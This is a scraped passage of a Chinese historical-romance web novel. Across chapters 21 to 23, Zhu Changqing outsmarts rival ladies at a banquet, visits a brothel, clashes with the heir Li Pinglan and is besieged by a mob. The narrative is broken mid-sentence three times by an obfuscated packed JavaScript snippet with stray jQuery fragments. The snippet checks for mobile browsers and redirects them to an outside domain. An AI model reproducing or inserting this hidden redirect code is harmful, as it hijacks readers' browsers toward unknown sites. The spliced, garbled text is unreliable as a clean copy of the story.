亦有不少娘子觉得背后议人是非实在不妥，可祝常青眼下已是离经叛道的典范，她们不便争论，只好心照不宣地垂下眼去。 “我们之中好似只有孙娘子见过那位如今的真容了吧，孙娘子不如你来说说？” 孙添舒原本正嫌无趣地走神，见火烧到了自己头上，神色依旧淡淡的，不留情面：“着什么急，等她来了不就知道了。” 问话那人自讨没趣，却不敢对孙添舒有怨言，悻悻地与旁人窃语去了。 就在一干人孜孜不倦地对祝常青口诛笔伐之时。 外头突然传来一声高亢的通报。 如同一阵无形的飓风，她们口中的妖女——祝常青以艳压群芳的气势，轻盈而自如地迈了进来。 她难得穿了艳色，描上淡妆，精致的五官不显寡淡，眉宇间透着傲气。 比起无可挑剔的仪态，最令人瞩目的，是她身上那种远超贵女们的威压。 她挂着轻柔的笑，一步步往里走，所到之处却一片寂静，数余双眼睛亦步亦趋地跟着她，只剩下难以置信。 若先前所说的“妖女”名号对她们而言只是种贬低的玩笑，此刻就不得不重新认真考量，莫不真的是妖女祸世？ “陈娘子。”祝常青走到主位跟前，施礼问好。 那陈娘子却是只软脚虾，连片刻都撑不住，慌忙站起来，回完礼才觉得不对，怯怯地朝左手边看去。 祝常青也跟着瞧去，只见左列首座的娘子通身华贵，气度不凡，心中有了猜想，却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14625206|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是笑问：“这位娘子是？” 陈娘子忙答：“这是冯家二娘子。” 冯琼华眉眼长得十分凌厉，抬眼时像变脸般，换上了皮笑肉不笑的表情，她稳稳坐着，嗓音凉薄：“祝娘子真是叫人好一番苦等。” 祝常青闻言不见半点窘色，接话不落下风：“原是冯家姐姐，今日是我的不对，给诸位赔罪了。” 接着，她话锋一转：“冯娘子，不知令兄何时启程陇西？还望娘子替我问小冯大人声好。” 冯琼华被戳中痛处，脸色登时沉下来，堂中其余人更是大气不敢出。 默了几息，冯琼华才提着嘴角笑出声，目光如刀：“劳祝娘子挂心，如此美意，我定代为转达。” 祝常青也跟着她笑，然周围的娘子们个个都像是见了鬼。 场面十足的难看，陈娘子硬着头皮上去打圆场：“既然祝娘子来了，那就先开宴吧，等宴席结束还要赏花呢。” 祝常青的座次被安排在全场最末，她一来就发现了。 奈何上头没有为官作宰的父兄，如今祝家的门楣还是她一人撑起来的，这样安排也不无道理，于是没有借此发难。 等陈府侍婢们鱼贯而入地端上佳肴，席间又再次热闹起来。 祝常青与其余娘子并不相熟，谈话间插不上嘴，索性安静地填饱肚子。 然而表面的一派和谐之下是暗潮汹涌，几位娘子对上眼神，言语间便含了杀人不见血的明枪暗箭。 这倒是正中祝常青下怀，毕竟她今日前来为的就是闹事，若是别人不来招惹，她反倒没理由接招了。 邻座的娘子忽然惊讶道：“没想到祝娘子久不在京都，礼仪却一点儿都没忘，真叫人佩服。” 她有意提起祝家获罪流放的旧事，嘴上敬佩，眼里却全是鄙夷。 有人帮腔：“是啊，陵江那样的地方，全是商贾之辈，染上铜臭就不好了。” 不料祝常青压根不为所动：“常在圣上跟前行走，规矩不全怎么行？” 见她搬出泰宁帝，旁人还敢说什么，面面相觑，一时语塞。 冯琼华却莞尔一笑：“先前听闻祝娘子在殿前触怒陛下，被赏了十大板，实在胆识过人，不知伤可好全？” 祝常青抬眼，与冯琼华遥遥相望，对上她笑里藏刀的眼神，不得不承认，冯家的人到底不一样。 提起那险些叫她丧命的杖刑，心里就涌上火气，腰臀间似还隐隐作痛，她告诉自己莫要着了旁人的道，自嘲地笑起来： “那都是多久之前的事了，我在乾清宫冒雨跪了许多时辰的事冯娘子不曾听闻吗，怎么不问问我的髌骨如何？” 就是这一跪，彻底跪走了冯决方。 冯琼华不可能听不出她的言外之意，狠毒地盯着她，嘴唇轻颤：“祝娘子还是好好保重身体吧。” 几番下来，谁都没在祝常青那儿讨到好，反将气氛搅和得分外僵硬。 恨她的人已是气得牙痒痒，原先还作中立态度的人见识了她的言辞无状，不由也皱了眉。 陈娘子一个头两个大，见谁都没再动筷，又当起了和事佬：“我瞧大家吃得差不多了，不如随我去后院赏花吧。” 于是由她和冯琼华带头，顺着座位的排序，众人依次往外走。 祝常青跟在最后头，谁也不想和她搭上关系，避她如洪水猛兽。 唯独队列前面的孙添舒停下脚等了一会儿，见她悠哉悠哉地闲庭散步，面色严肃地迎上去。 祝常青笑嘻嘻地冲她作了一揖：“孙娘子。” 孙添舒飞速回了一礼，凑过去，压低音量：“今日你要当心些。” 祝常青被她这郑重的模样逗笑：“怎么，孙娘子算到我今日要遭殃？” 不到两句，孙添舒立刻原形毕露，气鼓鼓道：“这还用算？不是明摆着有人想害你！” 祝常青笑意不减，她当然知道其中有诈，并且她就是冲着这诈来的。 还不等她张口说什么，就有一婢女直愣愣地撞了上来。 21. 二一章 祝常青肩头吃痛，硬生生被撞得后退几步。 那婢女更是直接扑倒在地，手中捧着的木碗摔落，里头盛满的液体毫无保留地泼在了祝常青的裙边。 “娘子恕罪！娘子恕罪！”婢女带着哭腔，磕头求饶。 陈娘子那行人早就走远，听不到此处的动静，便是真听见了，也要装作不知晓。 孙添舒与祝常青对上一眼，怀疑其中有蹊跷，她责问：“陈府都是怎么管教下人的，走路不长眼吗！碗里的是什么东西？” 婢女又磕了好几个头，战战兢兢地答：“是清水。夏日闷热，五少爷爱喝后院井里新打上来的水，奴婢本要给少爷送去。” 两人闻言皆朝裙角的那一滩水渍看去，确实无色。 祝常青挥挥手让她退下。 总不好为了这点小事，把人拎到陈娘子面前，说你府里的下人把水泼到我身上了，岂不白白叫人看笑话。 孙添舒见她不打算追究，也宽慰道：“看样子是不小心的，这点污渍旁人瞧不出来，外头太阳又好，晒不到片刻就干了。” 祝常青却突然弯下腰，用指尖在沾湿的布料处蹭了蹭，直起身后将手指放在鼻尖下轻嗅。 孙添舒见她神色有异，也跟着凑过去，还没彻底靠近她的手指，就有一股浓烈的异香扑面而来。 那水里加了东西！ “还真有问题。”孙添舒皱眉，一时想不出她们要做什么，四下观望一圈，握住她的手，迫切道，“寻间空屋子，我同你换身衣裳。” 祝常青反拉住她，摇头道：“不必。” 她神色坚定，想来是自有打算，孙添舒便不多说什么，陪着她走去后院。 果是一片花团锦簇的景象，美娇娘们游戏其间，赏花闻香，好不快活。 反倒是孙添舒，心里还惦记方才那个插曲，总担心有人要害她们，没什么兴致地走马观花。 两人走过一处，带起阵微风，身旁忽而有个娘子道：“好香啊。” 陈娘子留意着，等祝常青二人再走远些，才有些僵硬地笑答：“这么多花，自然香。” 那娘子随即俯下身去嗅花，却发觉刚刚的香味不见了。 她狐疑地转身环顾一周——什么都没有，难道是自己闻错了？ 孙添舒指尖刚抚过一朵未绽的花骨朵，花丛里就忽地扑出一只大蛱蝶，扇动着两片鲜艳的翅膀，朝她面门飞来。 她吓得低低喊了一声，忙手忙脚地躲去祝常青背后。 祝常青被她这突如其来的动作惊了一跳，看清眼前之物后哭笑不得：“你怕蛱蝶？” 孙添舒连话都说不出，只顾连连点头。 那蛱蝶绕着祝常青飞了一会，似是觉得累了，干脆停在她肩上。 孙添舒看得起了一身鸡皮疙瘩：“这儿的花有那么多，它怎么偏偏停你肩上。” 祝常青好笑地摇头，刚想打趣她，却想起什么，若有所思地沉了沉眉眼。 她没有惊动肩上的小东西，转过半个头，对孙添舒道：“这儿飞虫不少，你先去旁边的廊下待着吧。” 孙添舒看着她冷峻的目光，福至心灵地低下头，发现她裙角的水渍早已干透，看不出任何痕迹，随后点点头，一言不发地快步走向长廊。 紧接着，祝常青一反常态地在整个花丛里快速游走起来。 表面上在赏花，实则隐秘地用衣袖抖动着花草，上头停着的蜂蝶被惊动，无措地在空中打转，重新寻找下一个栖息地。 一股无法忽视的异香引诱着它们。 很快，整个后院里的娘子们发现了件怪事。 几乎所有的蜜蜂蛱蝶都在朝着同一个方向飞去，那规模阵仗如同冬日迁徙的雁群。 从未见过如此奇观，她们惊呼着远离，目光跟随一双双艳丽的翅膀，最终落在花丛中心的祝常青身上。 她的衣裙上已经停满了蛱蝶，仍有源源不断的飞虫扑来，在她身周盘旋。 这场面虽震撼，但也透着股说不出的诡异。 远在廊下的孙添舒瞧着那乌泱泱的一片，忍着胃里的翻腾，脸色煞白，手掌不自觉握紧。 更别说处在漩涡中心的祝常青，她虽不怕这些，但眼前密密麻麻的样子，也叫人麻去半边身子。 幸好提前预料到有这一幕，否则还不知道会吓成什么德行。 她一时不敢轻举妄动，周围一圈的娘子们总算反应过来，窃语谈论的声音逐渐嘈杂。 “这是什么情况？为什么蛱蝶都围着她转……啊我知道了！妖女，她真的是妖女！” “嘘！你小点声，快点退远些，别染上什么不好的东西了。” “原来那些传闻所言不虚，她就是妖怪，连这些蝇虫都会被勾引，难怪圣上……” “慎言！” 孙添舒听着她们越说越过分，眉头气得锁紧。 恨不得上去把她们的脸摁进花丛里，然后在她们的耳边大喊：什么妖魔鬼怪蚊虫蝇蚁的，那是因为祝常青被泼了带有浓烈气味的水，才不是你们口中的妖女！ 她越想越替祝常青觉得委屈，眼里甚至还蒙上了一层不甘的薄泪。 抬眼，却在朦胧的泪意里与祝常青的视线直直撞上。 万花丛中，她被困在无数双翩飞的翅膀里，目光无比澄澈坚定，轻松地朝孙添舒一笑，然后抬起根手指，动作轻缓地比了个噤声的手势。 耳边的所有恶言刹那间都变得模糊不清，孙添舒竟在那一刻怀疑她真的有法力。 - 京城贵女们的第一场赏花宴就在这样的闹剧中结束。 回程的马车上，孙添舒依旧一副恹恹的模样，当事人祝常青淡定喝了口茶，问她：“你家也有陈府那样的花园吗？” 孙添舒不明所以地点头。 “那你让人捕些蛱蝶，明日天不亮在我府前放了，我会提前在门口泼好蜜浆。”祝常青吩咐。 孙添舒疑惑地盯着她看，那样子当真十足可怜，想了一会儿，还是点点头，一言不发地垂下脑袋。 祝常青偷笑着，又道：“你怎么不问我为何这样做？” 孙添舒如实答：“你自有你的道理，我去做就好了，哪问那么多。” 虽然眼下还无法完全相信孙家的立场，但这一番话令祝常青熨贴极了，只道这感觉真好。 她心情尚佳，与孙添舒闲话起来：“对了，你上回从我府走后，世子来同我问过你。” 孙添舒对这个话题似乎没多少兴趣，随口反问：“世子问我？” 祝常青理所当然：“是啊，问问未婚妻子的事，有何……” 孙添舒直接打断她：“我与世子不会成婚。” 祝常青诧异：“何以见得？京中都传陛下会给你们指婚。” “不会就是不会。”孙添舒从袖中摸出铜钱，往上抛了两回，“我算过的。” 祝常青一脸不大相信的神情：“这算得准吗。况且你若是不必嫁给李凭栏，何苦与我站同一阵营？” “当然准了。”孙添舒在卦术一事上格外较真，“我不是说了，这事我也算过，跟着你有出路。” 好吧，说来说去，姻缘前程，全是她一手算出来的。 祝常青心道：真有这么神？ 挑了挑眉想试试她，于是问：“那能不能给我也算算？” 孙添舒认真思索片刻：“我从不轻易给旁人算卦，很折寿的，不过既然跟了你，也得有点诚意，我可以允你三卦。” 祝常青爽快道：“好，那你现在给我算算姻缘。” 孙添舒嫌弃地冲她撇撇嘴，恨铁不成钢般：“我的卦别人向来求之不得，你竟然用在算姻缘上面？” 祝常青笑得很没有信服力：“姻缘乃女子人生大事。” 铜币随着孙添舒的动作上抛又下落，砸在案上，形成一个祝常青看不懂的卦象。 两个脑袋凑在一块儿，好半天，祝常青耐不住性子地催促：“还没看出来？” 孙添舒闻言抬起脸，面色难看，她头一回对自己的卜卦结果有些犹豫。 “不是我存心咒你，卦象上说，你这一生，有缘无姻。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673457|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“有缘无姻？”祝常青念着这四个字，歪了歪头，随即笑起来，“倒也不错。” - 关于祝常青在陈府那日如何招蜂引蝶的传言甚嚣尘上时。 妖女本人乘着一顶小轿招摇过市地进了满春院——整个京城里最大的青楼。 饶是见多识广的老鸨都愣了神，瞧她派头不小，迎上来试探：“这位娘子，您是来找人的？” 别又是她院里哪位恩客的正头娘子，知晓自家官人在外寻欢作乐，砸场子来的。 祝常青看出她的担忧，毫不避讳地自报家门：“我姓祝。” 京都可再找不出第二位姓祝的娘子了，老鸨瞬间明白她的身份，笑容登时添了几分谄媚：“奴家有眼不识泰山，不知祝娘子来我满春院，所谓何事？” 只见祝常青毫不手软地从怀里摸出两块巴掌大的银锭，放进那老鸨的手里：“一间雅室，叫三个小倌来，要最俊的。” 高门贵女来青楼点小倌，一次三个。 这事要是说给旁人听，唾沫星子必定淹了她，但青楼老鸨做的就是这份生意，男的女的倒也没什么不同，只要见了财，就没有她不能办的事。 鸨母把银锭收下，拿出对待财神爷的态度，喜气洋洋地尖声吼着：“牡丹，过来带祝娘子上二楼，再叫清风、朗月、淮竹去伺候！” 这一嗓子下去，整个满春院的嫖客都瞪大了眼瞧过来。 女子进青楼本就是件不齿的事儿，她倒好，不遮不掩，点小倌的气势仿佛要昭告天下。 一嫖客左右手各搂着个姑娘，腾出根手指隔空戳向祝常青，唾弃道：“千人骑万人睡的娘们。” 旁的嫖客也跟着笑，看热闹不嫌事大地起哄。 老鸨忙给姑娘们使眼色，叫她们把这群穷色鬼安抚好了，要是真把她的财神爷气跑了可怎么办。 不料祝常青面色如常，挑着眉笑回：“这位兄弟，你我同道中人，不如和气些。” 那嫖客一副被辱没的样子，狠狠“呸”了一声：“谁跟你这种不要脸的婊子是同道中人！” 祝常青依旧带笑，但眼神无比凌厉轻蔑： “倒是有自知之明。我今日花的银子怕是能让你们这些货色在这儿嫖上数十日了，也不知身上有几块碎银。没将你们赶出去已是留了薄面，穷酸样儿，还与我攀扯上关系了。” 她说完又拿出一整袋的银子，当着众人的面交到鸨母手中，温和有礼道：“做生意讲究和气生财，破了贵院的和气，还望莫要见怪。” 老鸨那两眼简直要放光，毕恭毕敬地接过鼓鼓囊囊的荷包，连声道“娘子说笑”。 再也顾不上那帮色厉内荏的草包，亲自领着祝常青上了二楼。 雅间内，三个模样清秀的小倌已经跪坐候着。 老鸨刚笑吟吟地把她推进屋，三人就像水蛇般缠了上来。 祝常青花银子的时候毫不露怯，但也确实没见过这场面，赶忙靠着墙滚了两圈，从三人的包围中灵活脱身。 “等！等等！”她制止三人又要追上来的步子，在他们疑惑的目光中，难以启齿道，“不用这么着急，要不你们先跳跳舞？” 于是，四个人的室内，一小倌跳舞，一小倌吹笛，剩下一个跪在祝常青身边，喂她吃些水果糕点。 祝常青心安理得地受着，总不好花了大价钱过来，只看歌舞杂耍，那还不如去捧场街头卖艺。 几刻钟后，她见那俩卖艺的小倌实在累得不行，就唤人也过来坐下，心不在焉地随口闲聊。 她原是没有那意思，偏生这三人总有意无意地乱撩拨，一会儿蹭过手指，一会碰到腰间，屋里的熏香又烧得她脑袋昏昏沉沉。 一晃快过去两个时辰，忍无可忍之际，外头突然传来老鸨慌张的声音：“祝娘子！祝娘子！您在里头吗？” 祝常青得救般赶紧去开门，见鸨母一脸惊恐，外头也乱哄哄的，问道：“何事？” 脸上再浓的脂粉也掩盖不住那中年女子变了好几番的神色，只听她绝望道： “世子殿下来捉您了！” 22. 二二章 祝常青头脑瞬间清醒的同时，老鸨感到背后一凉。 世子殿下的路谁人敢拦，她能偷溜上来提前通风报信已是豁出去半条命，自认为仁至义尽，缩着脑袋往旁边退开。 没了鸨母挡道，祝常青稍一抬脸，就对上李凭栏沉得不能再沉的脸色。 一股莫名的心虚油然而生，却见李凭栏的目光越过她，直直往雅间里看去。 祝常青意识到什么，赶紧转过头，捂着半边脸，掩耳盗铃似的对那三个跪坐在案边的小倌拼命使眼色：“还不退下！” 小倌们得令，施施然起身，鱼贯从屋里退出，与祝常青擦身而过时，衣袖掠过她的手背。 名唤淮竹的小倌甚至还大着胆子抬头，殷殷切切地朝她递上一眼，那叫一个含情脉脉。 祝常青实在没眼看，不大自然地眼珠子乱转，最后偷瞄起了李凭栏的神色，发觉对方正死死地盯着自己，无奈被抓了个正着，尴尬地摸了摸鼻子。 无声观望的鸨母心道这场面好生眼熟，前些日子京都街坊里有名的那位悍妇来捉夫君时，似也是这般。 没等她细想，眼前的屋门就被世子殿下“砰”一声重重合上。 他带来的几个侍卫在外头守着，不允许旁人靠近半步。 屋外的老鸨惶恐着，屋内的祝常青一时间也有点摸不着头脑，刚想开口说什么，就听李凭栏冷冷道：“京中官员宿娼者，按律，杖六十。” “那你让都察院的人去参我一本吧。”祝常青笑嘻嘻地答，言语间半开玩笑半认真。 若是能借御史的手把这事闹到台面上也未尝不可。 至于什么律法，可没人会把她放在“京中官员”一列。 眼见李凭栏的眉头拧得更紧了，祝常青先发制人地拷问：“堂堂世子殿下踏足烟花之地，这儿人多口杂，与我共处一室，怕是不妥吧？” 李凭栏依旧冷眼瞪她：“你与三个小倌共处一室，难道很妥？” 祝常青理直气壮：“我又没有婚约。” “我也没有。”李凭栏回得很快，在祝常青不解的眼神里补充道，“陛下不会给我赐婚。” “你们想空手套白狼？”祝常青此刻脑子转得飞快。 孙家与安亲王府的联姻早就闹了个人尽皆知，孙氏会这么快地倒戈站队必然有这婚约的一份功劳。 如今全京城都以为孙家四娘子与她祝常青关系不浅，大局已定，他们就开始对这空头传闻矢口否认，手段未免太卑劣了些。 “不是。”李凭栏解释，“陛下要赐婚，是我抗了旨。” 抗旨？ 祝常青觉得荒唐地笑出声，不由想起孙添舒那日在马车上说的话。倒还真被她算准了。 “原来想空手套白狼的只世子您一人。” 她唇边带笑，抬眼盯着李凭栏的目光却冷得像条吐着信子的毒蛇：“轻飘飘一声抗旨，不知殿下可有思量过孙四娘子的清誉？” 因为清楚李凭栏需要自己这颗棋子，祝常青对他一向有种肆无忌惮的冒犯。 意料之中，李凭栏并没有因此动怒，只淡漠道：“人不可能事事周全，自当要有所取舍，我与孙四娘子毫无交情。” 祝常青闻言在原地愣了会儿，眉眼十分缓慢地皱起。 李凭栏说的道理她都懂，旁人的决断她也无权干涉，可到底是在用一个女子的名声做筹码，这样淡然置之的态度总教她心里不爽快。 她无言转身，走到矮几边，背对着他给自己灌下一杯冷茶。 李凭栏也跟着走近，在她身侧弯腰取过一只没人用过的茶盏，兀自倒起茶来。 这样的位置和动作，使他的整个后背暴露在祝常青眼前。 余光中，祝常青察觉他背部的衣料上有许多星星点点的红痕。 原以为是自己眼花，定睛一瞧，发现确实是密密麻麻的污点。 京中正时兴这样的布料吗？ 祝常青越看越觉得不对劲，干脆冷硬地问他：“背上是什么？” 李凭栏言简意赅：“伤口。” 满背的伤口？谁有胆子伤世子？ 祝常青更迷糊了：“什么伤口？” 李凭栏却忽然回身，定定地看她，似乎很轻微地挑了下眉头，陈述事实： “一个时辰前陛下要下旨给我赐婚，你以为我抗旨不用受罚么。” 语调里带着微妙的上扬，令祝常青错觉他似乎就在等这一刻。 心里升腾起一种怪异而别扭的情绪，直觉告诉她此事不宜深究，于是恍若未闻地撇开一点脸。 不料李凭栏竟不依不饶起来：“不问问陛下为何突然要赐婚吗？” 祝常青并不想与他谈论这个话题，感到一种被逼到绝境的恼怒，破罐子破摔般：“圣上想做什么就做什么，不需要理由。” 相较起来，李凭栏的态度就柔和许多： “是因为祝家娘子青天白日逛满春院的消息传进了宫里，我说我要来抓你。” 祝常青使劲攥着手掌里的茶杯，却还是难以遏制地浑身一震，似乎是从胃里翻江倒海地烧上来一阵潮水，温温地将五脏六腑全部淹没，难受得有些透不过气。 她知道李凭栏俯身朝她靠近了些，好整以暇地打量她的反应。 但她只想把茶水泼在那人脸上。 祝常青压根不愿去想他话里的意思，脖根处泛着怒意的微红：“你来就为了说这些毫无用处的事？” 李凭栏也不想把人惹毛了，直起身幽怨地哀叹了一声，坦诚道：“自然有正事。” 两人这才到坐榻上落座，中间隔着炕桌，总算有几分商议的模样。 听李凭栏说完，祝常青才知。 原是去岁冬日不曾落雪，今年开春又旱涝连连，眼见就快入秋，只怕到时候多地又会颗粒无收。 自泰宁元年以来，为此事赈下去的银两不计其数，如今国库空虚，民怨四起，还不知会闹成什么样。 “总之京都就要不太平了，我在你府外又多添了几个暗卫，你自己也注意分寸些。”李凭栏道。 祝常青却显得不以为意，京都对她来说从来不是个太平地，心里很快有了城算：“我知道了，世子若无旁的事，请先回吧。” 李凭栏冷冷问：“你不走？” 祝常青：“我过夜，明日就走。” 李凭栏心中郁闷，闭了闭眼，也不知刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711096|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚自己那句“分寸”是讲给谁听了。 他二话不说起身揪住祝常青的衣领，把人拎起来。 祝常青忙扑腾两下，从他手里逃开，边整理衣裳边恶狠狠地瞪了李凭栏一眼。 “我走！走还不行吗……”她嘀咕着率先打开屋门。 沸反盈天的满春院霎时静下来，祝常青站在门口的两个侍卫间等了一瞬。 电光石火间，趁侍卫毫无防备时，她无比熟练地抽了右手边的那把剑，一刻不停地往楼下疾步而去。 侍卫不敢贸然出手伤到她，只能抬步去追，又被刚走出雅室的李凭栏伸手拦下。 祝常青咬着唇，右手拖着剑，脚步在木阶上踩出欢快的声响，眼中有隐秘的兴奋。 所到之处，胆小的姑娘们尖叫着四散，而她目标明确地走向大堂。 嫖客们更是坐不住，生怕她找上自己，一时间躲的躲藏的藏。 祝常青一眼便盯上了先前与自己有过口角的男子，他已喝得两眼迷离，身侧两个姑娘见她过来，机灵地跑远了。 手里的温软消失，那醉汉骂骂咧咧地睁开眼，却对上祝常青似笑非笑的眼神。 还有她手中锋利见血的寒光。 如见梦中女鬼，他登时吓出满身冷汗，磕磕绊绊地往后爬，嘴里还含糊地喊着：“老鸨呢，老鸨……花妈妈！臭婊子人呢！快点来保护我，老子是你的恩客！恩客……” 他话未说完。 祝常青便用尽全力掷出手中那把剑，只听一声惨叫，寒光立即没入血肉，刀锋砍在他的肩膀，将他死死钉在地上。 血喷洒了一地，醉汉疼得在地上打滚，鬼哭狼嚎。 周遭的男子如感同身受般倒吸一口凉气，更有直接吓软摔在地上的，看向祝常青的眼神无不万分恐惧。 祝常青觉得畅快，发自内心地咯咯笑起来，垂眸在袖中摸出一块碎银，随手一抛，正好砸在那男子的脸上。 “这位兄弟，送你了。” 在她转身要走之际，地上的醉汉如濒死之人，忽地暴起，目眦欲裂地朝祝常青冲去。 刹那间，四周的姑娘们犹如翩飞的蝴蝶，齐齐涌向两人之间，团团将那醉汉困住，形成一道人肉围墙。 “妓子，一帮婊子，老子杀了你们！” 当他拳打脚踢地找到出口时，一把利剑再次毫不客气的架在了他的脖子上。 李凭栏连一个眼神都懒得施舍，任由侍卫将他逼退，只对鸨母道：“满春院倒是不挑客。” 老鸨还能如何，连连赔笑。 李凭栏递给那被夺了刀的侍卫一个眼神，后者心领神会，立马拿出两块银锭交到老鸨手里。 “见血总归不吉利，给姑娘们压压惊。” 见不见血的，鸨母倒不怎么在意，不过仰仗两位财神爷，她满春院发了笔横财倒是真。 她笑得花枝乱颤地接过，低声询问：“世子殿下，不知今日的事……” 李凭栏若有所思地朝外头看去，两架马车候着，第二辆的厢帘还因为刚被人掀起过而小幅度地晃悠。 他妥协般叹气：“瞒不住的事便不必瞒了，从姑娘们口中道出，也不免是桩奇谈。” 23. 二三章 马车一路行到祝府，门前围聚了不少百姓，都想瞧瞧这先点小倌、后会世子的祝家娘子到底是个什么模样。 祝常青却也丝毫不怵，动作利索地下了马车，大摇大摆地走至前面那辆马车的一旁，等车夫给她放了脚凳，一气呵成地踩上辕座，抬手掀帘，与里头正淡淡望出来的李凭栏打了照面。 他早听见了车厢外的动静，知道大抵是祝常青要找他，但万没料到此人已经放肆到这种地步。 这天底下敢一声招呼不打，就贸然掀帘他李凭栏车帘的人，她是头一个。 祝常青看他不计较，得寸进尺地连见礼都省却，只站在车厢外，声音不大：“劳烦世子知会杜宸安一声，夜里叫他来找我一回。哦对了，还有张立瑞，让他最近千万别往我这儿来，到底有家室，我这名声容易害了他。” 她明明是请人帮忙，可语气好生理直气壮，前头的车夫缩了缩脑袋，充当自己什么都没听见。 李凭栏不置可否地问：“张立瑞会被你害，我与杜宸安的名声你就不放在眼里？” 祝常青撇了撇嘴，不避讳地冷笑道：“只要您还姓李，他还姓杜，想把自家女儿塞进贵府的官员总少不了，何愁婚事？” 说完立马觉得这话有些过，太不尊重人，讪讪地赔了一礼。 沉默之中，李凭栏静静地转开视线，祝常青便果断撒手放帘，两人又被一张轻轻的帷幕隔绝开。 她提裙下车，不作停留地往大门走。 王府的马车也缓缓驶开，只留下渐行渐远的马蹄声，和一众不明所以的平头百姓。 是夜。 祝常青正在前厅的榻上翻阅孙添舒送她的卦术古籍。 丹珠匆匆走入，附到她耳边：“娘子，杜府的马车在外头等着了。” 祝常青闻言下榻，披上一件外衣，在看到的书页上折了一角，疾步出府。 马车谨慎地停远了些，藏在路边一棵巨树的荫蔽下，她上前，发现厢帘提前撩起，杜宸安在案前边翻账本边等候。 她上车时特意放轻脚步，却还是被杜宸安抓了个现行，他头也不抬地问：“找我何事？” “户部这几日忙着呢吧。”祝常青尴尬地咳了两声，也在案边坐下，“前些日子贪污案里查抄出来的赃款呢，不够填补亏空吗？” 一提起国库赈灾，杜宸安真是一个头两个大，用手抹了把脸清醒：“冯家又查不得，抄的不过是些底下的小卒，五百两银子，能抵什么用。” 祝常青若有所思地默了默，眼珠子一转，脸上冒出个精明阴险的奸笑来。 杜宸安被她盯得心里直发虚，果听祝常青忽然贼贼地问：“你可有受过贿？” 这是什么问题？ 杜宸安警惕地直起腰来，皱着眉用账本将祝常青的脑袋抵得更远了些，顺势遮住她冒着光的双眼，不大自然道：“你可别把我杜家坑惨了。” 祝常青用两根手指把那账本挪开，笑嘻嘻道：“你只管答我，有或没有。” 杜宸安心里斗争起来。 为官者，谁人不想清正廉明，为国为民，流芳百世？可…… “官场不是编书撰文，要懂得讲人情、摆权势。若想办事，打通关窍，不舍点钱财就会寸步难行。”杜宸安一面说，一面将头别开，仿佛很羞愧。 但祝常青今夜绝不是为了与他商讨为臣之道而来，况且她也并不觉得这是多么羞于启齿的事。 世道之中，如果非要遗世独立，难免和张立瑞一样，处处受人打压，也许一辈子只能做个无名小吏，泯于众人。 她手掌不自觉地揉着两膝，轻声道来：“眼下秋收是头等的大事，但灾情饥荒已可以预见，若冯党借机以我为众矢之的，难免要想法子自救。” 说着祝常青又露出一副为难的样子，好似很对不起他：“如今投靠我的人虽不少，但我敢信的却不多。你在户部当差，最知道哪些人贪得多，届时只怕要从你这儿撕口子。” 杜宸安这才了然，见她等着自己的态度，点头道：“岂能不帮你。” 祝常青苦涩地回以一笑：“他日定亲自登门与令尊令堂致歉，叫杜府跟着我受罪了。” - 时至秋分，关于祝常青的风言风语还未消散，但另一个比离经叛道的孤女更叫人愤愤不平的消息袭卷了京城。 近日各地巡抚回京复命，近三成的官员都上达了收成极差，粮食短缺的情况。 百姓们食不果腹，频有动乱的苗头，急需朝廷大量购买其余地区的余粮派去周转。 巡抚们的奏章递至龙案，焦急地等着救命的粮食，可赈灾银却一日拖一日，迟迟不肯下拨。 京城们的百姓听到风声，如何还能坐得住，看着达官贵人们依旧春光满面，读过书的还能义愤填膺一句“朱门酒肉臭，路有冻死骨”，那些日日盯着米缸过活的便只能高叹一声“唉”了！ 眼见市井间对皇家的哀怨愈演愈烈，钦天监却在此时掺和了一脚。 据钦天监监正所言：“今岁灾祸连连，实则是阴星降世，可怜陛下听信谗言，被女子小人蛊惑，上苍震怒，以致民不聊生。” 阴星降世、女子小人？ 但凡听到这八个字的人，脑海里就只会浮现出一个名字。 皇宫他们闯不得，皇帝他们骂不起，但一个另开门户的罪臣孤女在众人眼中可算不得什么大人物。 彼此一合计，便觉得此乃天降大任，如若他们不去替天行道，铲除祸害，家国就要毁于一旦！ 于是各自抄上家伙事，气势汹汹地往祝府赶去。 这头祝常青还在前厅喝茶，正对着厅堂的大门却如同即将毁灭般震颤着，门闩上卡着的横木一下一下地被顶撞出轻微变形，让人看得心惊肉跳，疑心它下一秒就会断裂。 是外头有人在用硬物件顶撞她的府门。 两军交战时破城门用的也是这样的法子吧？看来他们当真是恨毒了她。 整个府邸里回荡着令人绝望的巨响，小厮们自发跑到门前用身躯抵着，虽然不过杯水车薪。 丹珠一副心神不宁的样子，大门每被撞一下，她整个人似乎也会跟着一颤。 忽然，她决绝地转身要走。 